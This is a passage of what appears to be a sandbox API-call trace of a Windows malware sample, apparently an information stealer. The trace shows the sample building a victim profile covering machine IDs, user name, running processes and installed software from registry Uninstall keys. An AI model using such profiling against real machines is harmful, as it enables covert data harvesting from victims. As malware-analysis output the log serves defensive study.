[16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]"
[0054.974] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]", lpString2="\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\n"
[0054.974] RegCloseKey (hKey=0x514) returned 0x0
[0054.974] RegEnumKeyExA (in: hKey=0x508, dwIndex=0x33, lpName=0x1816c4, lpcchName=0x1816c0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{90160000-0117-0409-0000-0000000FF1CE}", lpcchName=0x1816c0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
[0054.974] wsprintfA (in: param_1=0x181ac4, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90160000-0117-0409-0000-0000000FF1CE}") returned 90
[0054.974] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90160000-0117-0409-0000-0000000FF1CE}", ulOptions=0x0, samDesired=0x20019, phkResult=0x1816bc | out: phkResult=0x1816bc*=0x514) returned 0x0
[0054.974] RegQueryValueExA (in: hKey=0x514, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1816b0, lpData=0x181ec4, lpcbData=0x1816c0*=0x400 | out: lpType=0x1816b0*=0x1, lpData="Microsoft Access Setup Metadata MUI (English) 2016", lpcbData=0x1816c0*=0x33) returned 0x0
[0054.974] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\n", lpString2="Microsoft Access Setup Metadata MUI (English) 2016" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 